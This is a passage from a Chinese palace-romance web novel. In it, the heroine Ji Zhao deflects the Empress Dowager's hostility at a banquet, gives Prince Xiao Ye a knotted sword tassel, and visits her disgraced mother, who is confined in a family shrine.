今日看见真人在面前,纪昭不由唏嘘。 太后见纪昭行礼,也不让她起身,似笑非笑:“听说太子在马场时马受惊,差点将他掀翻在地,是你大哥出手救了太子?” 纪昭低头:“太子殿下福泽深厚,臣女大哥不过是刚好在身侧,出手拉一把而已。” 太后呵呵笑了两声:“先前是你救驾,如今是你大哥救驾,外加还有睿亲王救驾……这救驾的好事怎么都在你们这一家子身上?” 纪昭:“……” 纪昭蹙眉不语。 这话杀机重重,她不知道该怎么接,又如何接。 旁边谢瑶笑出声:“太后,如此说来,的确有点蹊跷。” 太后冷哼一声:“何止蹊跷,简直是明晃晃欺君!” 她手一拍,发出好大声响。 殿中的宫人们吓了一跳,纷纷跪地请太后息怒。 第201章 怼太后,食白鱼 纪昭一动不动,安稳如磐石。 她从一开始便知道这是太后设下的鸿门宴,所以早就有了心理准备。 只要不慌不忙,就不会被抓住把柄。 毕竟现在身份不同往日——纪昭不再是毫无根基的侯府嫡女,而是未来的准睿亲王妃,还是顶格的亲王妃。 这层身份在,太后再跋扈都不能随便治她的罪。 且太后如此气急败坏证明了马场之事,太后身上不清白,不干净。 许是内厂查下去,清理了太后的爪牙,又或许这事便是太后背后主谋。 胜利者只会沾沾自喜,只有失败者才会气急败坏。 殿中静默着,几十双目光落在纪昭消瘦的肩上。 她们想看意料之中“不上台面、粗鄙,没有见识”的纪昭。 只要她露出一点不妥当的马脚,太后就会抓到把柄。 纪昭静静跪着,忽然抬头直视力太后:“太后请息怒。臣女不敢苟同太后揣测,这罪名令臣女惶恐不安。” 太后:“你惶恐不安?哀家看你现在不是挺镇定的吗?” 纪昭干脆不说话了,静静跪着。 谢瑶在旁边打圆场,笑道:“太后别生气了。这些事得让皇上查清楚便是。” 太后余怒未消,冷声道:“查?怎么查?内厂不都是偏着睿王吗?” 纪昭终于抬头,神色恭敬但十分从容:“回太后,有关皇上安危乃是国家大事,太子之事也是国家大事。臣女是一介女子,不敢置喙。 请太后娘娘也不要轻易干政。” 干政? 殿中的人倒吸一口冷气。 女子干政,这是大忌。 太后被她的话点醒了,怒视纪昭。 “好一张利嘴!” 她冷哼连连,却无法再对纪昭发作。 纪昭依旧恭顺:“臣女熟读,并且教养嬷嬷也再三教导臣女要循规蹈矩,万万不得置喙政事。臣女谨记在心,还望太后明察。” 太后无话可说,只剩一腔怒火发作不得。 谢瑶眯了眯眼,重新审视纪昭。 从方才见纪昭就发现她气度不是传说中粗鄙不堪的样子,反而从容自若,容光焕发,有种说不出来的威势。 如今在太后盛怒下不卑不亢,还能反击。 这纪昭非常不简单。 另一位美貌的千金打圆场:“太后,今日是请纪大小姐来用晚膳。这些打打杀杀的事就不要提了。” 她谦和上前扶起纪昭,笑道:“我是崔府的四姑娘,崔兰芝。说起来与郑国公夫人也算是姻亲。” 纪昭见崔兰芝一身鹅黄色留仙长裙,腰系白流苏珍珠带,身段窈窕,清雅别致。 她含笑见过礼:“崔四小姐。” 崔兰芝搀扶着纪昭坐下来,笑道:“太后只是过于忧心太子殿下安危,便多问了一些,纪姐姐不要误会。” 纪昭:“不敢。太后有问我便有答。” 太后有了台阶下,收了怒容:“此事作罢。今日御膳房说地方捕了珍贵的白鱼,用冰水养着送到了宫中。正好一起品尝品尝。” 纪昭笑了笑,与谢崔二位小姐说起了白鱼的鲜美和珍贵。 谢瑶妙语连珠活跃气氛,崔兰芝在旁边附和,殿中的气氛渐渐和缓。 纪昭少说多看,目光放在那两位宫妃身上。 两位宫妃一位富态了些,一位清瘦雪白,容貌不算最上乘,但身上的配饰却是妃位。 太后:“方才忘了与你见礼,一位是贤妃容氏,一位是顺贵嫔纳兰氏。” 纪昭重新又见过。 贤妃容氏是清瘦点的,容貌清淡雅致,顺贵嫔时纳兰氏是富态了那一位。 她笑呵呵道:“其实先前在皇后宫里见过了,只是没说过话。” 贤妃容氏也道:“是见过,如今在太后宫中见了便更加亲近。” 她们都有讨好之意,纪昭不明白为什么,索性一概笑笑。 太后说了一会儿话,晚膳时辰到了。 太后看了看外面,问宫人:“皇上或睿王能来吗?” 宫人:“御书房许是下了。奴婢让人去瞧瞧。” 太后看向纪昭:“一会若是睿王来了,你得替哀家好好劝他一番。” 纪昭皱眉。 这太后到底要做什么? 一会雷霆,一会风和日丽。 这做派倒是和柔仪公主一脉相承,想一出是一出十分鲁莽。 皇帝没来,睿王萧烨却是来了。 出人意料的是,陈王竟然也跟着来了。 萧烨穿着会正紫蟠龙亲王衮服,头戴紫玉青龙冠,容貌十分俊美。 他身量很高,身材匀称,沉肩拔腰,繁复沉重的亲王服硬是被他穿出几分仙气飘逸。 纪昭发现谢崔两位千金贵女看萧烨,几乎都失了神。 跟在萧烨后面的陈王反而被人无视。 两位王爷与太后见过礼后,陈王说:“听说太后这边有白鱼,我定是要过来吃一吃的。” 他食指大动的样子,看得太后直皱眉。 萧烨眸光一转,落在了纪昭脸上。 他微微蹙眉:“你伤没好,怎么来了?” 此话一出,殿中众人都侧目看去。 萧烨鲜少理会女子,特别是京城贵女中甚至传言睿王爱男色,不恋女色。 可如今他大庭广众之下,他竟然关心纪昭。 纪昭含笑:“太后这边有白鱼,我没吃过,想过来尝尝鲜。” 萧烨:“你爱吃就与皇后说一声,孤让人送两条给你。裴神医说你伤没好全,这几日还是注意些。” 纪昭从善如流:“多谢殿下关心。回去一定好好卧床静养。” 太后忍不住插话:“睿王,太子马场的事到底查的怎么样?怎么能把整个内廷都搅得天翻地覆。” 萧烨似乎此时才发现太后的存在。 他冷冷道:“母后这话问的不对。您应该问,太子有没有受伤,伤人的内奸到底是谁?又和谁有关系? 比起储君安危,区区内廷动荡几日又有什么关系?” 太后被萧烨的话噎住。 她就知道让萧烨来,只会气死自己。 但今日之事又不得不让他来一趟,且为了让萧烨来,太后还得把纪昭召了过来。 太后说不出话来,陈王只觉得没意思。 陈王悄悄发问:“还吃不吃鱼?我饿了。” 太后:“……” 萧烨:“……” 纪昭:“……” 太后不得不传膳。果然菜肴中有一盘清蒸白鱼、还有一大碗如白玉似的白鱼鲜汤。 纪昭听说这白鱼是从天山冰泉中捕获,肉质鲜美无比,一点腥味都没有。 更珍贵的是,白鱼以冰泉中的一种小虾为食,还接受了天山灵气洗礼,大补之余还能让吃的人眼目清明。 纪昭尝了一筷子,果然异常鲜美。 她很少吃过如此美味的鱼,脸上不由露出微笑。然后又吃了几筷子,鱼肉便都吃完了。 纪昭意犹未尽,但很可惜后宫中用膳都是分食制。 每个人面前吃的都是太监帮忙分食,多了没有。 萧烨斜睨了她一眼,手指微动,面前一碟鱼肉悄悄推到了纪昭面前。 第201章 萧烨震怒 纪昭脸悄悄热了起来,羞臊的。 心道,难不成我的贪吃已经被他都收在眼底了? 纪昭在长袖下悄悄伸手,将碗碟推了回去。 萧烨蹙眉瞧了她一眼,又推了过去。 纪昭:“……” 她不得不悄悄的、飞速地将萧烨碟子里的鱼肉都吃了。这才赶紧若无其事将碟子推了回去。 所幸,没人发现。 接下来用膳很正常。 太后赐膳食并不是为了吃饱,只是走个过场。众人吃的都不多,几十道菜一会就分食完毕。 用完膳宫人端上漱口茶水,才开始渐渐有人说话。 陈王叹气:“白鱼真好吃。可惜啊,可惜我过几日就要去西南赈灾。一想到就心烦意乱。” 他满脸沮丧。 纪昭奇怪瞧了一眼。 萧烨冷冷道:“若是后悔,自己去与皇上说。” 陈王:“不,不后悔。” 他说着都快哭了。 纪昭想笑又不好笑出声来。 太后没理会陈王,专向萧烨:“今日请你过来,有件事要与你商议。” 萧烨似笑非笑瞥了太后一眼:“太后请说。” 太后示意贤妃容氏、顺贵嫔纳兰氏说话。 贤妃容氏起身,笑吟吟道:“今日是托太后的福,请了睿亲王来想举荐极好的婚事。” 刚说完,萧烨眉心就拧了起来。 纪昭恍然大悟。 原来是为了侧妃的事。难怪两位妃子刚才对自己那么客气和讨好。 顺贵嫔纳兰氏笑吟吟接着道:“睿亲王是顶格亲王,尊荣无比。侧妃应该有四位才是。我家中有一位适龄侄女,才貌双全,娴静安分,厚着脸向睿亲王举荐。” 贤妃容氏也道:“我家中的容茹月,殿下见过,也是极守闺训的大家闺秀。” 萧烨俊脸铁青,一声不吭。 纪昭在旁边静静看着,替萧烨捉急。 他是极烦女子找上门非要嫁他。这两位妃子估摸是在皇上面前碰了软钉子,所以才找到太后,由太后出面亲自向萧烨举荐。 萧烨冷笑两声:“不知何时,本王竟成了香饽饽了。” 太后语重心长:“睿王你如今年纪也大。所谓成家立业,娶了正妃就一并将侧妃都纳了。这样的话,又省事,又是喜上加喜。” 萧烨冷笑两声,并不说话。 太后见他冷硬如石头似的,转头看向纪昭。 “纪家姑娘,你意下如何?” 纪昭听到这话,心里冷笑一声:压不住萧烨,就来捡软柿子捏? 纪昭恭恭敬敬行礼,清晰而大声说:“一切由皇上做主,由睿王殿下做主,臣女不敢擅做决断。” 太后冷笑:“你这么推脱,可是心里不愿意?” 纪昭不慌不忙,含笑:“太后误会了。臣女接下赐婚圣旨第一刻便知道责任重大。要为睿王分忧,管好内宅。 侧妃之事,古有礼法,臣女不敢改半分。也希望睿王纳了可心可意的侧妃,为王府延绵子嗣,添丁兴旺。” 她回答极标准。 太后挑不出半分道理。 只是纪昭这话,太后听着总觉得不是自己想要的。 纪昭口口声声没反对,但却都推到了礼法上,又说要让萧烨“纳可心可意”的侧妃。 也就是说,只要萧烨不“可心可意”,那就不纳。 太后想明白了后,脸上隐约有怒容。 她还要再发作纪昭。 突然萧烨站起身,冷冷道:“侧妃之事太后不要多管,我自有定夺。只是有一句良言奉劝。” 他看向两妃:“入了我睿王府,生是睿王府的人,死是睿王府的鬼。若不循规蹈矩,藏有什么作恶的私心,扰得府中不宁……” 他突然抽了腰间的佩剑“铿”地砍下面前的案几。 冷笑:“到时候死了残了可不要找孤要人!你们想清楚些再决定将人送不送来。” 殿中静默了一瞬,两妃脸色蜡白地瞧着那被砍掉一角的案几。 一想到这剑砍在自家侄女脖子上……两妃被吓得软在地上。 …… 一场赐宴不欢而散。 纪昭陪着萧烨出了太后的宫殿。 “殿下方才不值得发怒,得罪了太后不说,还得罪了贤妃和顺贵嫔。间接也得罪了容家,和纳兰家。” 纪昭想了半天,还是提了这不妥。 萧烨慢腾腾走着,闻言看了她一眼:“你倒是替孤操心这个,怎么不操心操心那些女人进了王府要掀什么风浪?” 纪昭笑了:“殿下与小女有约在先。等殿下王府一切妥当,小女又恢复内力,是要上战场杀敌的。” 萧烨:“所以留这些烂摊子给了孤处置?” 他面上不悦,心里更是莫名有股火。 他见不惯纪昭宽容大量,置身事外的样子。 这样子很潇洒,也很刺眼。 纪昭看出萧烨深藏的愠怒,劝慰:“殿下何必烦恼?刚才已经发了火,想必他们送人入王府就会慎重许多。” 萧烨冷笑:“你太小瞧了人心的贪婪。明知道是龙潭虎穴,但只要里面有人数不清的金银珠宝,就会有人不断地扑进去。粉身碎骨都不带怕的。” 纪昭心里叹气。 气氛略沉重,纪昭问起了陈王为何改变主意。 萧烨:“马场的事差点把陈王都牵连了。陈王是个胆小的,于是孤让他去西南赈灾,一是让皇帝不疑心他,二也是躲一躲京城风头。” 纪昭想起陈王沮丧的样子,不由莞尔:“就怕陈王吃不了苦。” 萧烨口气不好:“吃不了苦也得吃。为了不让他临阵脱逃,孤给他派了两个幕僚。” 这不是变相押着陈王去赈灾吗? 萧烨冷冷道:“扶不起的阿斗,若是这次他没做出点实际,孤会打断他的腿。” 纪昭:“……” 一路说话就到了裕华宫。 萧烨:“你身子好了些,后日我送你回侯府。” 此时康全安见了两人来了,笑眯眯上前磕头请安。 萧烨:“殷小娘的事你做的不错。有赏!” 康全安连忙磕头:“王爷过奖了。这是奴婢的本分,准王妃赏过奴婢了。” 萧烨:“她赏的是她的。孤这儿也有赏赐。” 他看了纪昭一眼:“以后准王妃入宫,你就跟着。有什么事一定禀报。” 康全安兴高采烈地又谢了恩。 第202章 同心结 纪昭回到了裕华宫安歇。 吃了白鱼,看了一场好戏,又得了准确回侯府的日子,纪昭很是心满意足。 她散了头发和晚意晚秋在榻上说笑玩。 这几日无聊,不用管家也不用练武,纪昭突然想学绣花。 宫中的宫女有个叫做寒儿的,绣工很好。 她知道纪昭要学绣花,笑着说:“准王妃不需要学这活计,会拿针就行。这些粗活自然有下人给准王妃做好。” 纪昭笑道:“我就是针都不会拿才想学的。以后说不定自己缝个衣服,不需要使唤别人。” 寒儿笑嘻嘻道:“准王妃说笑了。准王妃是大富大贵的天仙,不会穿破衣服的。” 话虽如此,寒儿却愿意教她。 寒儿说先从打络子学比较容易,学会了分线打理,手就软了也巧了。所以教了纪昭几种络子样式。 纪昭学了一天就学会了一样,兴趣很足。 她养伤时就学着打了一两个,人人都夸她手巧。 今夜和两个丫鬟说话,纪昭就想着再打个络子。不过打了络子用在何处? 不知怎么的,纪昭想起了今日在太后殿中,萧烨抽剑断案的凌厉气势。 她便想打个小络子系在萧烨随身的佩剑上。 这样抽剑时,多添点气势。 她将自己的主意说了。 晚秋笑道:“王爷给大小姐做了那么多事,大小姐回他一个络子也算不错的。” 纪昭这才想起,自己竟没给萧烨回礼。 于是她斟酌想了半天:“要不回赠他一方好的玉佩?” 正好郭国夫人豪横送了一块玉石。顺便让匠人切好了,找大师琢一块好玉佩赠他。 晚意:“打络子赠香囊才是最贴心的。想必王爷也不是那等只看礼物贵重的俗人。” 纪昭想了想,决定双管齐下。 于是两个丫鬟替她挑彩线,商量做什么式样。 晚意笑道:“做个同心结吧。男女互赠情意的意思,永结同心,长长久久。” 纪昭尴尬:“做什么同心结?男女授受不亲。” 晚意:“皇上都赐婚了,只差一场大婚便是夫妻。旁人挑不出什么错处。” 纪昭啐了一口:“平日时常见面说话,还需赠什么同心结?要是送了,他要是觉得我也是庸俗无聊的女人怎么办?” 况且她与萧烨平日聊的都是正事,根本没有男女之情。 晚秋笑嘻嘻道:“大小姐没送怎知王爷对你没有男女之情?那些个痴女缠着王爷,王爷觉得不耐烦是因为不喜欢她们,若是喜欢的人送自己一点东西,可不一样。” 晚意撺掇:“大小姐就送一个,看王爷什么意思。” 纪昭被说得心里动摇。 要不,打一个同心结,试试这冰山冷面王爷到底有没有男女之情? …… 纪昭养伤后出宫。 一大早梳洗打扮妥当与皇后告辞。 皇后知道了太后赐宴之事,宽慰她几句:“你放心,十四的侧妃再增也越不过你去。 十四的脾气皇上与本宫都很清楚,绝不会挑不好脾性嫁过去的。若是将来让你受委屈,尽管进宫找本宫。” 纪昭谢了。 她知道,这只是皇后无力的安危。 世族门阀权势太大,触手伸得很长,皇上招架不住便只能妥协。 出了裕华宫,萧烨的车马已在宫门等着。 康全安笑眯眯在马车旁等着。 纪昭以为萧烨没来。 康全安:“王爷已经等了一会儿了。” 纪昭心中诧异。车帘掀开,萧烨端正笔直坐在马车中。 纪昭入了马车,道谢:“容殿下久等了。” 萧烨:“皇后与你说了什么话没?” 纪昭:“没说什么,只是叮嘱我回府中好好养身子。” 萧烨:“旁人若说些不相干的话,你不用放在心上。” 纪昭:“???” 她回过神来,立刻领会到了萧烨的好意。他不愿意让纪昭受委屈,哪怕是言语上的丁点让她“顾全大局,为睿王贤良大度”之类的。 萧烨见她明眸熠熠盯着自己脸上瞧,不自然别过脸。 “你以后是做大事的,不要囿于内宅,也不要让这些人压了你的锐气。” 纪昭心里笑了,口气温柔:“是,小女记住了。” 萧烨见她还是盯着自己瞧,不由蹙眉:“你盯着孤看什么?脸上有东西?” 纪昭叹气:“殿下对人好都是这样冷面冷语的吗?” 萧烨不解。 纪昭知道与他说不通,往腰间摸了摸,摸出一个简朴的香囊递了过去。 “这个,是我这几日新学打的络子,可以挂在剑上。殿下要是不嫌弃,就收了。当做这次为我大哥申功高升的谢礼。” 萧烨迟疑了一会,接过。 他并没有打开香囊,而是摩挲两下问:“这香囊也是你绣的?” 纪昭尴尬:“是……刚学了针线。绣了一朵兰草,别的还没学。” 萧烨仔细打量香囊,果然只有几株孤零零的兰草,上面开着两朵淡黄色的小花。 针脚很粗糙,能看出绣的人笨拙一针一线穿过。 薄唇微微勾起:“你会骑马耍枪,十八般武艺都还不错,没想到针线还……” 他想说“很差”,但转念想到了刚才纪昭评价他的话。 急转直下:“针线还算有天赋……不错。” 纪昭:“……” 萧烨说得很生硬,也不知道那一句在脑子里滚了几百遍才强硬换了个说辞。 纪昭想笑又羞愧。 她一把夺过萧烨手中的香囊:“殿下瞧不上就算了。我改日让人做一个好玉佩赠给殿下当谢礼。” 萧烨突然又抢过:“我还没瞧络子什么样呢。” 他打开香囊,一个同心结露了出来。同心结用黑红两色打的,中间是一个很水润的黑曜石珠子。 这还是丫鬟们的巧思,说络子没有珠子不好看。纪昭这才从自己随身珠宝匣子翻了半天翻到了一个黑曜石车成的珠子。 她想着萧烨喜欢黑色,用黑线和红线搭配应该好看。 事实证明,这络子不管手艺如何,配色的确是深沉又热烈,十分醒目。 这下萧烨没有嫌弃,点头:“挺精致。手艺不错。” 他说着将络子看了好一会儿才纳入怀中。 纪昭见他脸色没变,估摸着他不明白络子是什么意思。 她想提醒又觉得自己矫情。 怕女人麻烦的萧烨能接受她的东西,已经算是顶格优待了。 第203章 同心结,很稀奇? 络子送了,纪昭内心却纠结起来。 这礼物太轻了,萧烨却收了也不知道他是什么意思? 纪昭悄悄看了萧烨一眼,俊颜冷厉,眸色深沉,看不出是高兴多一点还是不高兴多一点。 纪昭探问:“这小礼物殿下不会嫌弃吧?” 萧烨:“不嫌弃。很好。” 纪昭挖空心思,想继续探问却发现自己词穷极了。 两世为人,还在黄泉地狱看尽了人间俗事变幻,她竟然不知道男女之情是怎么个表示。 她搜刮肚肠:“郭国夫人送了一块玉石,听说料子极好。” 萧烨:“嗯。” 纪昭:“等回府了,我让匠人切开,再找个大师琢成好的玉佩赠给殿下。” 萧烨耳朵似动了动:“玉石?大不大?” 纪昭:“大的,做成摆件也是好的。” 萧烨:“不要摆件,死沉又没什么用。既然你要雕琢玉佩,就做一对。龙凤玉佩,一人一块。” 纪昭:“为什么?” 萧烨看了她一眼,慢吞吞:“我们成婚时能佩龙凤玉佩、玉环,玉如意。” 纪昭恍然大悟:“对,可以做陪嫁之礼。我晓得了。” 她很高兴,因为这玉石终于找到了用处。 萧烨:“……” 一路上纪昭问萧烨玉佩喜欢雕什么图案,要加什么字什么的。 萧烨:“你我的名字都雕上。用古纂,祥云、蝠纹,如意纹……” 纪昭忍不住笑:“太复杂了。” 萧烨不悦:“越复杂才越没人可仿。” 纪昭从善如流:“好,就依殿下的意思。到时候图样让殿下过目。” 萧烨又看了她一眼,慢吞吞问:“你有小名吗?” 纪昭:“没有,祖母唤我昭儿,也不算小名。” 她好奇问:“殿下有小名吗?” “没有!” 萧烨说得飞快,薄唇紧抿,似乎纪昭问的很冒犯。 纪昭疑惑,这小名不是他先问的?怎么问了他又生气了。 这男人还挺难琢磨。 送了纪昭回侯府,萧烨便走了。 在马车上,萧烨摸出纪昭打的络子。络子打的不算精致,有的地方应该是打错了又重新拆开打的。 萧烨想了想将络子系在随身的佩剑上。 他是有功勋的亲王,皇帝早就赐了他带剑行走的特权。所以随身佩剑一直跟着他出入许多地方。 车夫:“王爷,回王府还是回宫里?” 萧烨想了想:“去醉人居,另让陈王和澹台公子过来喝酒。” 车夫:“喝酒?哦哦,好的。” 醉人居。 萧烨走进天字号包厢,随手就将佩剑解下来放在桌上。 陈王和澹台明镜不明所以。 陈王:“十四,你怎么突然想喝酒了?” 澹台明镜:“是不是有什么大事找我们合计?” 萧烨:“无事,就是想喝酒了。” 陈王:“……” 澹台明镜:“???” 萧烨看了他们一眼,凉凉问:“怎么?你们不喝?” 陈王抓了抓脑袋:“我怎么觉得这酒不太好喝?十四,你是不是找我们来替你想主意的?” 萧烨:“想什么主意?” 陈王:“怎么把皇帝塞给你的侧妃都推了?我瞧着你不高兴有那么多侧妃。” 萧烨:“……” 澹台明镜:“是不是王府缺了银子进项?” 萧烨忍无可忍:“都不是。喝酒而已。” 他让人上酒。 酒上来了,店伙计看着放在桌上的佩剑,恭恭敬敬:“王爷,这剑小的替您收起来吧。” 萧烨:“不要碰。” 店伙计赶紧放了酒退下。 这下陈王和澹台明镜都看出异样。 陈王:“十四,你要杀人了?” 澹台明镜注视着剑,忽然福如心至,灵光一闪:“呀,殿下你剑上有剑穗。” 萧烨拿起佩剑,不紧不慢:“剑上有剑穗有什么稀奇的。” 他手收回,剑穗在两人面前一晃而过。 陈王没领会到,笑着说:“是啊,有剑穗不是很平常吗?” 萧烨横了他一眼:“你闭嘴吧。” 澹台明镜看着萧烨,忽然笑了:“这剑穗是王妃送的吧?” 萧烨面不改色:“是又如何?很稀奇吗?” 澹台明镜笑眯眯:“还挺别致的,是同心结。” 萧烨愣住:“同心结长这样?” 澹台明镜:“……” 一场酒喝得滋味乱七八糟的,三人不知道到底为什么喝酒。 总之,最后萧烨买了酒钱。 回去的路上,陈王拉着澹台明镜吐苦水:“十四是不是脑子都坏了?一个同心结还拿到我们面前显摆。” 澹台明镜推开他的手,笑眯眯的:“你不觉得睿王自从赐婚后有点活人气了吗?” 陈王:“这倒也是。从前他正眼都不瞧我一眼,目中无人。现在居然肯请我喝酒,还让我去西南赈灾。” 他一副苦尽甘来的样子:“十四长这么大,总算是能拉他兄弟一把了。” 澹台明镜:“……” 都说陈王蠢,的确有点蠢。话点到这份上还能理解歪了。 澹台明镜似笑非笑:“其实要让睿王拉一把,只要讨好下准王妃,他自然会对你好的。” 陈王:“当真?” 澹台明镜摇着金折扇,笑得高深莫测:“当然是真。我看人的眼光一等一。” …… 纪昭回了侯府,先去给祖母请安。 老夫人得知她回府,一大早就派了人在宫门口听信。 是以纪昭怎么回府的,何时回府,老夫人都清清楚楚。 纪昭请安,老夫人握着她的手,连连打量她:“好,没事就好。日前送去宫的补品可用了?” 她又说:“听说你旧伤复发,我都急死了。连忙去佛堂念了三日的经。” 纪昭感动,道:“祖母不要担心。我还年轻,旧伤慢慢就好了,无大碍。” 老夫人又欣慰又心酸:“怎么不担心?侯府的荣耀都是你用命博来的。若是知道你的伤这么凶险,宁可不要这个荣耀,也要我孙女平平安安的。” 纪昭眼眶红了。 人人只羡慕她的荣耀满身,可爱她的至亲只关心她是否平安喜乐。 纪昭好言安慰了老夫人,然后说起了此次马场的事。 老夫人听了,摇头:“天家水深。一个钉子可以说是无心,也可以定谋逆之罪。” 纪昭:“幸好大哥在场,护卫了太子周全,升了官。” 提起老大纪荣的升官,老夫人笑容满面:“这份天大的功劳又落在了纪家头上。你大哥总算是苦尽甘来。” “你父亲知道后又酸又高兴。酸的是,他活到这一把年纪了都没捞到这么高的武职。你大哥年纪轻轻就任上了。 先前他给侯世子还磨磨蹭蹭,现在恨自己早不给。” “这两日你父亲说要给你大哥的院子改扩更大些。呵呵,真是小人姿态。” 第204章 大夫人被圈禁佛堂 提起晋阳侯的做派,老夫人这个做亲娘的都瞧不起。 纪昭也无语。 从前父亲瞧不起老大纪荣,那是一眼都不带看的。就算是纪荣受到九千岁魏曹公的赏识,也只是在府中待遇稍稍好点。 晋阳侯把偏爱还是放在老二纪蓉身上。 让他拟个侯世子的折子也是磨磨唧唧的。 如果晋阳侯从纪荣立功后就定了侯世子,那大哥定不会对这个父亲离心。 现在人高升了,迟来的巴结变成了笑话。 老夫人恨的就是这点——晋阳侯短视,无知,还虚荣。 纪昭问起大夫人的处置。 老夫人瞧了纪昭一眼,道:“圈起来关在小佛堂里。只有两个老嬷嬷跟着。一个是申嬷嬷,一个是张嬷嬷。” 纪昭:“母亲不闹?” 老夫人叹气:“闹,怎么不闹?宴后就关进去了,一开始哭天喊地的,后来就不吃不喝,非要见你爹。” 纪昭皱眉:“父亲去了吗?” 老夫人哼了一声:“你父亲恨她在贵人们面前给侯府丢脸,又恨她先前私放印子钱差点惹了大祸,怎么可能去见她?” “如今圈禁起来是数罪并罚,并不是单单因为她做局诬陷你房中的文奶娘。若不是你即将大婚,而且还是和睿王的亲事,你爹是要休妻的。” 其实老夫人没忍心说,晋阳侯已动了让大夫人“暴毙”的念头。 只是都知道若是亲母“暴毙”,纪昭就得守孝三年。 三年什么事都可能发生,搞不好这一门好不容易天下掉下来的亲事也要作罢。 晋阳侯没那么傻。 所以大夫人在佛堂闹绝食,晋阳侯又派了两个身强力壮的嬷嬷去“劝导”她吃饭喝水。 纪昭慢慢点了点头。 宴席后她就随着睿王萧烨,陈王还有太子萧澈去了马场打球。而后马场出事她又辗转入宫养伤。 这期间她是想过数次差人回去问问大夫人是怎么个处置,但转念一想,这么急倒显得自己做女儿的巴不得亲母受惩罚。 这举动很不孝。 于是纪昭一直憋着,直到回来才和老夫人问起。 现如今听到大夫人被圈禁在佛堂里,纪昭心情复杂。 前世她就是被大夫人和白沁雪做局,一步步陷害入了佛堂。 佛堂的凄苦,她比谁都清楚。 大夫人在佛堂绝对不好受。 纪昭与老夫人又说了几句话,好言宽慰了便回了紫棠院。 回了紫棠院,纪昭浑身放松。 在裕华宫养伤,虽然吃得好,住的奢华,但终究不是自己的屋子。 金窝银窝,不如自家的狗窝。纪昭这时才深深体会到。 入了屋子,奶娘文氏笑容满面地过来见礼。 纪昭知道她没受多大伤,但还是拉着问个不停。 奶娘文氏说起当时的情形:“当时大夫人说要喝醒酒汤散散酒气,就到了舒月亭专门等我呢。我本来没注意,请了安后要走。大夫人身边的砚儿说要找我要绣花样式。” 我推脱没有,砚儿就拉着我东拉西扯的,后面她说闹肚子就把一个匣子交给了我。我打开一看竟然是空的,立刻就想起了大小姐的吩咐。” 于是我放下那匣子悄悄让让铁蛋去寻那丫鬟。” 铁蛋是侯府的家丁之一,就是带头找到砚儿私藏玉镯的家丁。 纪昭点了点头。 奶娘文氏:“至于那个藏着的包袱,晚秋说她让院里春翠盯着,发现了,换了各种烧饼进去。” 她心有余悸。 先是给了她一个空的匣子,然后生怕害不死她,又让人在紫棠院里藏金银。 那包金银事后春翠悄悄让她看了,好大一堆。 够打死她十回八回了。 大夫人的狠毒,奶娘文氏在那一日才算真正体会到。 怪她从前还以为大夫人是慈眉善目,宽宏大量的当家主母,对大小姐不好只是因为大小姐不是她期待的那种娇弱女儿。 现在才明白大小姐早就看透了大夫人。 纪昭也听得心里冷冰冰的。 春翠拿了那包要诬陷栽赃的金银珠宝。 纪昭随意看了一眼,连连冷笑:“还有零有整的,难为了。” 奶娘文氏:“如今大夫人在佛堂里受处罚,大小姐打算怎么做?” 纪昭没应。她对奶娘文氏道:“奶娘这几日就好生歇着,轻便的活儿要做便做,不愿意做就不要劳动。” 她记得奶娘文氏被大夫人的人按住打了好几下。 奶娘文氏受了伤,但却只字不提,只是不想让纪昭操心。 纪昭吩咐下人:“都把紫棠院打扫一遍,去去晦气,然后各自守好了屋子。” 下人都应了。 经过这件事,紫棠院的下人们人人自危。 紫棠院平日开门锁门的时辰很严格,下人进出也是要腰牌什么,但还是被人混进来栽赃陷害。 这可是够警醒的。 纪昭吩咐完众人,便回屋歇着了。 到了晚间,天黑了。纪昭披上斗篷,让春翠点了灯笼悄悄出去了。 …… 佛堂中,传出大夫人的恶毒咒骂。 “纪世德你这个王八蛋,言而无信的狗东西。丧良心的,我为你生儿育女,你一转头就将侯爵之位给了那个农妇生的粗鄙儿子。” “忘了当初你娶我立下的誓言,也不怕天打雷劈……” “你个狗东西……” 纪昭在佛堂外静静听着,唇边勾起意味不明的笑。 春翠提着灯笼,听了一会儿很是沉不住气:“大小姐……” 纪昭摆了摆手。 里面终于骂累了,然后听见大夫人在呼嬷嬷:“我要喝茶!” “呸,你们给我的是什么馊水?想我死就早说……” 又是一连串恶毒咒骂。 紧接着里面传来瓷器破碎的声音,大夫人尖叫:“你们反了?我可是侯夫人。你们敢么对我?” “呸!你还是侯夫人呢?侯爷拿你当回事吗?如今侯爷在二姨娘那边睡着呢。三姨娘也得宠了,就你这个人老珠黄又不知好歹的老太婆……” 粗鄙的声音盖过了大夫人的咒骂声。 “实话和你说了吧。府中早就传开了,要不是你是大小姐的亲娘,侯爷早就把你给休了。” 大夫人:“你个臭烂嘴的东西,侯爷怎么会把我休了?我生了二子一女,除了纪昭那个脏心烂肚不孝的孽女,我两个儿子将来可是要继承侯府!” 第205章 给大夫人种下心魔 嬷嬷冷笑:“呦呦,听听,还摆着侯夫人的谱呢?我呸!” “快闭上你的狗嘴歇歇,不然的话就要遵侯爷之命给你点颜色瞧瞧。” 大夫人怒吼传来:“你个乌遭脏妇……” “啪啪”几声巴掌声,大夫人咒骂戛然而止,传出来的是低低的啜泣声。 纪昭唇边勾起意味不明的笑,让春翠推开了那扇门。 门打开了,里面的人都愣住了。 大夫人很狼狈,头发散乱,脸上有乱七八糟的巴掌印。左脸高高肿着,嘴角还有打出来的血。 几日不见,大夫人变老了也变丑了。 眼前的大夫人就像冷宫里疯了的妃子。 打人的是晋阳侯从庄子里调来的曹嬷嬷。曹嬷嬷见纪昭来了,赶紧收起凶相。 她尴尬擦手:“那个,大小姐怎么深夜到了此处呢?我,我刚才可没打侯夫人,是她自己脸撞到了柱子上。” 很拙劣的解释,纪昭却不戳破。 曹嬷嬷这种粗鄙农妇将拜高踩低奉行得死死的,在她眼中,入了佛堂的女人就不是人。 而她平日只能仰望的高门贵妇,此时不狠狠踩何时踩? 前世曹嬷嬷也是这般折磨自己,打巴掌,暗中拧腰肉,用烧红的针扎。折磨人的法子千奇百样,层出不穷。 所以纪昭笃定大夫人入了佛堂好过不了。 纪昭:“这两日劳烦曹嬷嬷照顾母亲。这有二两茶钱,曹嬷嬷容我们母女说两句话。” 春翠掏出银子塞给了曹嬷嬷。 曹嬷嬷一喜,赶紧接过,然后笑得很谄媚。 “大小姐尽管说话。老婆子不会让人进来的。” 曹嬷嬷出去了,春翠也悄无声息地退了出去,守在了门口。 佛堂烛火昏暗,四面漏风。 虽是盛夏,但却阴冷。 